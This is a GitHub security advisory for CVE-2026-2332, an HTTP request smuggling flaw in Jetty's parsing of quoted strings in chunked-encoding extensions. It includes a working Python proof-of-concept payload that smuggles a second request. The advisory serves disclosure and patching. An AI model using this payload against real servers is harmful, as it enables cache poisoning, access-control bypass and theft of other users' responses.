Skip to content

Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

High severity GitHub Reviewed Published Apr 14, 2026 in jetty/jetty.project • Updated Apr 14, 2026

Package

maven org.eclipse.jetty:jetty-http (Maven)

Affected versions

>= 12.1.0, <= 12.1.6
>= 12.0.0, <= 12.0.32
>= 11.0.0, <= 11.0.27
>= 10.0.0, <= 10.0.27
>= 9.4.0, <= 9.4.59

Patched versions

12.1.7
12.0.33
11.0.28
10.0.28
9.4.60

Description

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
jetty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

@olamy olamy published to jetty/jetty.project Apr 14, 2026
Published by the National Vulnerability Database Apr 14, 2026
Published to the GitHub Advisory Database Apr 14, 2026
Reviewed Apr 14, 2026
Last updated Apr 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. Learn more on MITRE.

CVE ID

CVE-2026-2332

GHSA ID

GHSA-355h-qmc2-wpwf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.